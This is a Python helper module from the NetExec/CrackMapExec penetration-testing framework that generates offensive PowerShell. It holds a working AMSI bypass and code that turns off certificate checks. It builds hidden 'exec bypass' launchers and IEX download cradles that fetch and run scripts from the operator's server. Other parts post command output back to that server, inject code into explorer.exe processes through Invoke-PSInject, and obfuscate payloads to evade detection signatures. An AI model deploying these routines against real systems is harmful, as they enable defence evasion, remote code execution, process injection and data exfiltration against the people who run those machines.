NetExec/cme/helpers/powershell.py

import cme
import os
import logging
import re
import tempfile
from sys import exit
from string import ascii_lowercase
from random import choice, randrange, sample
from subprocess import check_output, call
from cme.helpers.misc import gen_random_string, which
from cme.logger import CMEAdapter
from base64 import b64encode

logger = CMEAdapter()

obfuscate_ps_scripts = False

def get_ps_script(path):
    return os.path.join(os.path.dirname(cme.__file__), 'data', path)

def encode_ps_command(command):
    return b64encode(command.encode('UTF-16LE')).decode()

def is_powershell_installed():
    if which('powershell'): 
        return True
    return False

def obfs_ps_script(path_to_script):
    ps_script = path_to_script.split('/')[-1]
    obfs_script_dir = os.path.join(os.path.expanduser('~/.cme'), 'obfuscated_scripts')
    obfs_ps_script = os.path.join(obfs_script_dir, ps_script)

    if is_powershell_installed() and obfuscate_ps_scripts:

        if os.path.exists(obfs_ps_script):
            logger.info('Using cached obfuscated Powershell script')
            with open(obfs_ps_script, 'r') as script:
                return script.read()

        logger.info('Performing one-time script obfuscation, go look at some memes cause this can take a bit...')

        invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "TOKEN,ALL,1,OUT {}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
                                                                                                                                                 get_ps_script(path_to_script),
                                                                                                                                                 obfs_ps_script)
        logging.debug(invoke_obfs_command)

        with open(os.devnull, 'w') as devnull:
            return_code = call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True)

        logger.success('Script obfuscated successfully')

        with open(obfs_ps_script, 'r') as script:
            return script.read()

    else:
        with open(get_ps_script(path_to_script), 'r') as script:
            """
            Strip block comments, line comments, empty lines, verbose statements,
            and debug statements from a PowerShell source file.
            """

            # strip block comments
            strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '', script.read())
            # strip blank lines, lines starting with #, and verbose/debug statements
            strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")) )])

            return strippedCode

def create_ps_command(ps_command, force_ps32=False, dont_obfs=False):

    amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
try{
[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
}catch{}
"""

    if force_ps32:
        command = amsi_bypass + """
$functions = {{
    function Command-ToExecute
    {{
{command}
    }}
}}
if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')
{{
    $job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32
    $job | Wait-Job
}}
else
{{
    IEX "$functions"
    Command-ToExecute
}}
""".format(command=amsi_bypass + ps_command)

    else:
        command = amsi_bypass + ps_command

    logging.debug('Generated PS command:\n {}\n'.format(command))

    # We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed concurrently
    # it would spawn a local powershell process per host which isn't ideal, until I figure out a good way of dealing with this 
    # it will use the partial python implementation that I stole from GreatSCT (https://github.com/GreatSCT/GreatSCT) <3

    """
    if is_powershell_installed():

        temp = tempfile.NamedTemporaryFile(prefix='cme_',
                                           suffix='.ps1',
                                           dir='/tmp')
        temp.write(command)
        temp.read()

        encoding_types = [1,2,3,4,5,6]
        while True:
            encoding = random.choice(encoding_types)
            invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "ENCODING,{}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
                                                                                                                                              temp.name,
                                                                                                                                              encoding)
            logging.debug(invoke_obfs_command)
            out = check_output(invoke_obfs_command, shell=True).split('\n')[4].strip()

            command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "{}"'.format(out)
            logging.debug('Command length: {}'.format(len(command)))

            if len(command) <= 8192:
                temp.close()
                break

            encoding_types.remove(encoding)
    
    else:
    """
    if not dont_obfs:
        obfs_attempts = 0
        while True:
            command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "' + invoke_obfuscation(command) + '"'
            if len(command) <= 8191: 
                break

            if obfs_attempts == 4:
                logger.error('Command exceeds maximum length of 8191 chars (was {}). exiting.'.format(len(command)))
                exit(1)

            obfs_attempts += 1
    else:
        command = 'powershell.exe -noni -nop -w 1 -enc {}'.format(encode_ps_command(command))
        if len(command) > 8191:
            logger.error('Command exceeds maximum length of 8191 chars (was {}). exiting.'.format(len(command)))
            exit(1)

    return command

def gen_ps_inject(command, context=None, procname='explorer.exe', inject_once=False):
    #The following code gives us some control over where and how Invoke-PSInject does its thang
    #It prioritizes injecting into a process of the active console session
    ps_code = '''
$injected = $False
$inject_once = {inject_once}
$command = "{command}"
$owners = @{{}}
$console_login = gwmi win32_computersystem | select -exp Username
gwmi win32_process | where {{$_.Name.ToLower() -eq '{procname}'.ToLower()}} | % {{
    if ($_.getowner().domain -and $_.getowner().user){{
    $owners[$_.getowner().domain + "\\" + $_.getowner().user] = $_.handle
    }}
}}
try {{
    if ($owners.ContainsKey($console_login)){{
        Invoke-PSInject -ProcId $owners.Get_Item($console_login) -PoshCode $command
        $injected = $True
        $owners.Remove($console_login)
    }}
}}
catch {{}}
if (($injected -eq $False) -or ($inject_once -eq $False)){{
    foreach ($owner in $owners.Values) {{
        try {{
            Invoke-PSInject -ProcId $owner -PoshCode $command
        }}
        catch {{}}
    }}
}}
'''.format(inject_once='$True' if inject_once else '$False', 
           command=encode_ps_command(command), procname=procname)

    if context:
        return gen_ps_iex_cradle(context, 'Invoke-PSInject.ps1', ps_code, post_back=False)

    return ps_code

def gen_ps_iex_cradle(context, scripts, command=str(), post_back=True):

    if type(scripts) is str:

        launcher = """
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}}
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{ps_script_name}')
{command}
""".format(server=context.server,
           port=context.server_port,
           addr=context.localip,
           ps_script_name=scripts,
           command=command if post_back is False else '').strip()

    elif type(scripts) is list:
        launcher = '[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n'
        launcher +="[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'"
        for script in scripts:
            launcher += "IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{script}')\n".format(server=context.server,
                                                                                                                      port=context.server_port,
                                                                                                                      addr=context.localip,
                                                                                                                      script=script)
        launcher.strip()
        launcher += command if post_back is False else ''

    if post_back is True:
        launcher += '''
$cmd = {command}
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/')
$request.Method = 'POST'
$request.ContentType = 'application/x-www-form-urlencoded'
$bytes = [System.Text.Encoding]::ASCII.GetBytes($cmd)
$request.ContentLength = $bytes.Length
$requestStream = $request.GetRequestStream()
$requestStream.Write($bytes, 0, $bytes.Length)
$requestStream.Close()
$request.GetResponse()'''.format(server=context.server,
                                  port=context.server_port,
                                  addr=context.localip,
                                  command=command)
                                  #second_cmd= second_cmd if second_cmd else '')

    logging.debug('Generated PS IEX Launcher:\n {}\n'.format(launcher))

    return launcher.strip()

# Following was stolen from https://raw.githubusercontent.com/GreatSCT/GreatSCT/templates/invokeObfuscation.py
def invoke_obfuscation(scriptString):

    # Add letters a-z with random case to $RandomDelimiters.
    alphabet = ''.join(choice([i.upper(), i]) for i in ascii_lowercase)

    # Create list of random dxelimiters called randomDelimiters.
    # Avoid using . * ' " [ ] ( ) etc. as delimiters as these will cause problems in the -Split command syntax.
    randomDelimiters = ['_','-',',','{','}','~','!','@','%','&','<','>',';',':']

    for i in alphabet:
        randomDelimiters.append(i)

    # Only use a subset of current delimiters to randomize what you see in every iteration of this script's output.
    randomDelimiters = [choice(randomDelimiters) for _ in range(int(len(randomDelimiters)/4))]

    # Convert $ScriptString to delimited ASCII values in [Char] array separated by random delimiter from defined list $RandomDelimiters.
    delimitedEncodedArray = ''
    for char in scriptString:
        delimitedEncodedArray += str(ord(char)) + choice(randomDelimiters)

    # Remove trailing delimiter from $DelimitedEncodedArray.
    delimitedEncodedArray = delimitedEncodedArray[:-1]
    # Create printable version of $RandomDelimiters in random order to be used by final command.
    test = sample(randomDelimiters, len(randomDelimiters))
    randomDelimitersToPrint = ''.join(i for i in test)

    # Generate random case versions for necessary operations.
    forEachObject = choice(['ForEach','ForEach-Object','%'])
    strJoin = ''.join(choice([i.upper(), i.lower()]) for i in '[String]::Join')
    strStr = ''.join(choice([i.upper(), i.lower()]) for i in '[String]')
    join = ''.join(choice([i.upper(), i.lower()]) for i in '-Join')
    charStr = ''.join(choice([i.upper(), i.lower()]) for i in 'Char')
    integer = ''.join(choice([i.upper(), i.lower()]) for i in 'Int')
    forEachObject = ''.join(choice([i.upper(), i.lower()]) for i in forEachObject)

    # Create printable version of $RandomDelimiters in random order to be used by final command specifically for -Split syntax.
    randomDelimitersToPrintForDashSplit = ''

    for delim in randomDelimiters:
        # Random case 'split' string.
        split = ''.join(choice([i.upper(), i.lower()]) for i in 'Split')

        randomDelimitersToPrintForDashSplit += '-' + split + choice(['', ' ']) + '\'' + delim + '\'' + choice(['', ' '])

    randomDelimitersToPrintForDashSplit = randomDelimitersToPrintForDashSplit.strip('\t\n\r')
    # Randomly select between various conversion syntax options.
    randomConversionSyntax = []
    randomConversionSyntax.append('[' + charStr + ']' + choice(['', ' ']) + '[' + integer + ']' + choice(['', ' ']) + '$_')
    randomConversionSyntax.append('[' + integer + ']' + choice(['', ' ']) + '$_' + choice(['', ' ']) + choice(['-as', '-As', '-aS', '-AS']) + choice(['', ' ']) + '[' + charStr + ']')
    randomConversionSyntax = choice(randomConversionSyntax)

    # Create array syntax for encoded scriptString as alternative to .Split/-Split syntax.
    encodedArray = ''
    for char in scriptString:
        encodedArray += str(ord(char)) + choice(['', ' ']) + ',' + choice(['', ' '])

    # Remove trailing comma from encodedArray
    encodedArray = '(' + choice(['', ' ']) + encodedArray.rstrip().rstrip(',') + ')'

    # Generate random syntax to create/set OFS variable ($OFS is the Output Field Separator automatic variable).
    # Using Set-Item and Set-Variable/SV/SET syntax. Not using New-Item in case OFS variable already exists.
    # If the OFS variable did exists then we could use even more syntax: $varname, Set-Variable/SV, Set-Item/SET, Get-Variable/GV/Variable, Get-ChildItem/GCI/ChildItem/Dir/Ls
    # For more info: https://msdn.microsoft.com/en-us/powershell/reference/5.1/microsoft.powershell.core/about/about_automatic_variables
    setOfsVarSyntax = []
    setOfsVarSyntax.append('Set-Item' + choice([' '*1, ' '*2]) + "'Variable:OFS'" + choice([' '*1, ' '*2]) + "''")
    setOfsVarSyntax.append(choice(['Set-Variable', 'SV', 'SET']) + choice([' '*1, ' '*2]) + "'OFS'" + choice([' '*1, ' '*2]) + "''")
    setOfsVar = choice(setOfsVarSyntax)

    setOfsVarBackSyntax = []
    setOfsVarBackSyntax.append('Set-Item' + choice([' '*1, ' '*2]) + "'Variable:OFS'" + choice([' '*1, ' '*2]) + "' '")
    setOfsVarBackSyntax.append('Set-Item' + choice([' '*1, ' '*2]) + "'Variable:OFS'" + choice([' '*1, ' '*2]) + "' '")
    setOfsVarBack = choice(setOfsVarBackSyntax)

    # Randomize case of $SetOfsVar and $SetOfsVarBack.
    setOfsVar = ''.join(choice([i.upper(), i.lower()]) for i in setOfsVar)
    setOfsVarBack = ''.join(choice([i.upper(), i.lower()]) for i in setOfsVarBack)

    # Generate the code that will decrypt and execute the payload and randomly select one.
    baseScriptArray = []
    baseScriptArray.append('[' + charStr + '[]' + ']' + choice(['', ' ']) + encodedArray)
    baseScriptArray.append('(' + choice(['', ' ']) + "'" + delimitedEncodedArray + "'." + split + "(" + choice(['', ' ']) + "'" + randomDelimitersToPrint + "'" + choice(['', ' ']) + ')' + choice(['', ' ']) + '|' + choice(['', ' ']) + forEachObject + choice(['', ' ']) + '{' + choice(['', ' ']) + '(' + choice(['', ' ']) + randomConversionSyntax + ')' + choice(['', ' ']) + '}' + choice(['', ' ']) + ')')
    baseScriptArray.append('(' + choice(['', ' ']) + "'" + delimitedEncodedArray + "'" + choice(['', ' ']) + randomDelimitersToPrintForDashSplit + choice(['', ' ']) + '|' + choice(['', ' ']) + forEachObject + choice(['', ' ']) + '{' + choice(['', ' ']) + '(' + choice(['', ' ']) + randomConversionSyntax + ')' + choice(['', ' ']) + '}' + choice(['', ' ']) + ')')
    baseScriptArray.append('(' + choice(['', ' ']) + encodedArray + choice(['', ' ']) + '|' + choice(['', ' ']) + forEachObject + choice(['', ' ']) + '{' + choice(['', ' ']) + '(' + choice(['', ' ']) + randomConversionSyntax + ')' + choice(['', ' ']) + '}' + choice(['', ' ']) + ')')
    # Generate random JOIN syntax for all above options
    newScriptArray = []
    newScriptArray.append(choice(baseScriptArray) + choice(['', ' ']) + join + choice(['', ' ']) + "''")
    newScriptArray.append(join + choice(['', ' ']) + choice(baseScriptArray))
    newScriptArray.append(strJoin + '(' + choice(['', ' ']) + "''" + choice(['', ' ']) + ',' + choice(['', ' ']) + choice(baseScriptArray) + choice(['', ' ']) + ')')
    newScriptArray.append('"' + choice(['', ' ']) + '$(' + choice(['', ' ']) + setOfsVar + choice(['', ' ']) + ')' + choice(['', ' ']) + '"' + choice(['', ' ']) + '+' + choice(['', ' ']) + strStr + choice(baseScriptArray) + choice(['', ' ']) + '+' + '"' + choice(['', ' ']) + '$(' + choice(['', ' ']) + setOfsVarBack + choice(['', ' ']) + ')' + choice(['', ' ']) + '"')

    # Randomly select one of the above commands.
    newScript = choice(newScriptArray)

    # Generate random invoke operation syntax.
    # Below code block is a copy from Out-ObfuscatedStringCommand.ps1. It is copied into this encoding function so that this will remain a standalone script without dependencies.
    invokeExpressionSyntax  = []
    invokeExpressionSyntax.append(choice(['IEX', 'Invoke-Expression']))
    # Added below slightly-randomized obfuscated ways to form the string 'iex' and then invoke it with . or &.
    # Though far from fully built out, these are included to highlight how IEX/Invoke-Expression is a great indicator but not a silver bullet.
    # These methods draw on common environment variable values and PowerShell Automatic Variable values/methods/members/properties/etc.
    invocationOperator = choice(['.','&']) + choice(['', ' '])
    invokeExpressionSyntax.append(invocationOperator + "( $ShellId[1]+$ShellId[13]+'x')")
    invokeExpressionSyntax.append(invocationOperator + "( $PSHome[" + choice(['4', '21']) + "]+$PSHOME[" + choice(['30', '34']) + "]+'x')")
    invokeExpressionSyntax.append(invocationOperator + "( $env:Public[13]+$env:Public[5]+'x')")
    invokeExpressionSyntax.append(invocationOperator + "( $env:ComSpec[4," + choice(['15', '24', '26']) + ",25]-Join'')")
    invokeExpressionSyntax.append(invocationOperator + "((" + choice(['Get-Variable','GV','Variable']) + " '*mdr*').Name[3,11,2]-Join'')")
    invokeExpressionSyntax.append(invocationOperator + "( " + choice(['$VerbosePreference.ToString()','([String]$VerbosePreference)']) + "[1,3]+'x'-Join'')")

    # Randomly choose from above invoke operation syntaxes.
    invokeExpression = choice(invokeExpressionSyntax)

     # Randomize the case of selected invoke operation.
    invokeExpression = ''.join(choice([i.upper(), i.lower()]) for i in invokeExpression)

    # Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX)
    invokeOptions = []
    invokeOptions.append(choice(['', ' ']) + invokeExpression + choice(['', ' ']) + '(' + choice(['', ' ']) + newScript + choice(['', ' ']) + ')' + choice(['', ' ']))
    invokeOptions.append(choice(['', ' ']) + newScript + choice(['', ' ']) + '|' + choice(['', ' ']) + invokeExpression)

    obfuscatedPayload = choice(invokeOptions)

    """
    # Array to store all selected PowerShell execution flags.
    powerShellFlags = []

    noProfile = '-nop'
    nonInteractive = '-noni'
    windowStyle = '-w'

    # Build the PowerShell execution flags by randomly selecting execution flags substrings and randomizing the order.
    # This is to prevent Blue Team from placing false hope in simple signatures for common substrings of these execution flags.
    commandlineOptions = []
    commandlineOptions.append(noProfile[0:randrange(4, len(noProfile) + 1, 1)])
    commandlineOptions.append(nonInteractive[0:randrange(5, len(nonInteractive) + 1, 1)])
    # Randomly decide to write WindowStyle value with flag substring or integer value.
    commandlineOptions.append(''.join(windowStyle[0:randrange(2, len(windowStyle) + 1, 1)] + choice([' '*1, ' '*2, ' '*3]) + choice(['1','h','hi','hid','hidd','hidde'])))

    # Randomize the case of all command-line arguments.
    for count, option in enumerate(commandlineOptions):
        commandlineOptions[count] = ''.join(choice([i.upper(), i.lower()]) for i in option)

    for count, option in enumerate(commandlineOptions):
        commandlineOptions[count] = ''.join(option)

    commandlineOptions = sample(commandlineOptions, len(commandlineOptions)) 
    commandlineOptions = ''.join(i + choice([' '*1, ' '*2, ' '*3]) for i in commandlineOptions)

    obfuscatedPayload = 'powershell.exe ' + commandlineOptions + newScript
    """

    return obfuscatedPayload